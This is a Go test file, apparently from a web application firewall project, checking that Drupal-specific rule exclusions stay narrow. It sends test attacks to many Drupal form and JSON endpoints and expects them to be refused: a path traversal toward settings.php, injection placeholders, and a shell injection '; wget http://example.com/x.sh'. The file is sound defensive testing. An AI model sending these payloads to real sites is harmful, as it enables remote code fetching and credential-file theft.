Files
smallwebwaf/internal/coreruleset/drupal_test.go
T
sneak 133f6281e1
check / check (push) Successful in 11m19s
Core Rule Set: Drupal's JSON password reset takes an address (closes #262)
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.

Model: opus-5-5
2026-11-10 01:46:33 +00:00

483 lines
15 KiB
Go

package coreruleset_test
import (
"net/http"
"net/url"
"slices"
"testing"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
const drupalJSONSignIn = "/user/login?_format=json"
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
const drupalJSONPasswordReset = "/user/password?_format=json"
// drupalTagForm is Drupal's form for a new tag.
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
// drupalEditAccount is Drupal's form for editing an account.
const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
sqlInjection,
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
scriptInjection,
}
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range drupalAttacks {
for _, target := range []string{
"/?id=",
"/admin/content?id=",
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/content?destination=",
"/admin/foo?q=",
"/node/1/edit?destination=",
"/user/login?destination=",
"/search/node?keys=",
"/search?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/big_pipe/no-js?destination=",
"/node/2/revisions/3/revert?destination=",
"/node/2/revisions/3/delete?destination=",
"/block/add/basic?destination=",
"/fr/admin/content?title=",
"/fr/search/node?keys=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const reply = "/comment/reply/node/1/comment"
for _, attack := range drupalAttacks {
for _, sent := range []struct{ target, body string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack},
{drupalEditAccount, "mail=" + attack},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
`"name":"` + attack + `"`,
`"revision_log":"` + attack + `"`,
`"info":"` + attack + `"`,
`"description":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"` + attack + `","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{
injection,
scriptTag,
`; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// An address keeps 932250, which refuses ls -la, and 930120, which
// refuses system file names.
for _, kept := range []struct {
value string
rule int
}{
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range []string{
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/views/ajax/autocomplete/tag?q=",
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/user/password?name=",
"/media-library?name=",
"/views/ajax?name=",
"/ckeditor5/basic_html/entity-link-suggestions?q=",
"/block-category/autocomplete?q=",
"/media/oembed?url=",
"/fr/admin/content?title=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, sent := range []struct{ target, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
{drupalSignIn, drupalName},
{"/user/register", drupalName},
{drupalEditAccount, "mail="},
{"/comment/reply/node/1/comment", drupalName},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
}
}
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
`"name":"; wget http://example.com/x.sh"`,
`"revision_log":"; wget http://example.com/x.sh"`,
`"info":"; wget http://example.com/x.sh"`,
`"description":{"value":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
}
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range hardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
{"/comment/reply/node/1/field_comments", subject},
{"/comment/reply/media/1/comment", subject},
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
{drupalSignIn, "pass="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
}
for _, value := range hardValues {
word, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, passes := range []string{
"/admin/content?title=python3",
"/search/node?keys=python3",
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
"/fr/admin/content?title=python3",
"/pt-br/search/node?keys=python3",
"/user/password?name=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
}
}
for _, refused := range []string{
"/?title=python3",
"/admin/content?other=python3",
"/?keys=python3",
"/node/1?keys=python3",
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
"/notes/admin/content?title=python3",
"/fr/node/1?keys=python3",
"/?name=python3",
"/user/login?name=python3",
"/media/oembed?url=python3",
"/media/oembed?url=ls%20-la",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
}
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ path, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
{drupalSignIn, "name=python3"},
{drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// The JSON field name keeps the rules beside json.name in the query, and
// on a path other than the password reset.
for _, target := range []string{
drupalJSONPasswordReset + "&json.name=python3",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// So does the JSON field mail.
for _, target := range []string{
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
"/user/register?_format=json",
} {
r := request{http.MethodPost, target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}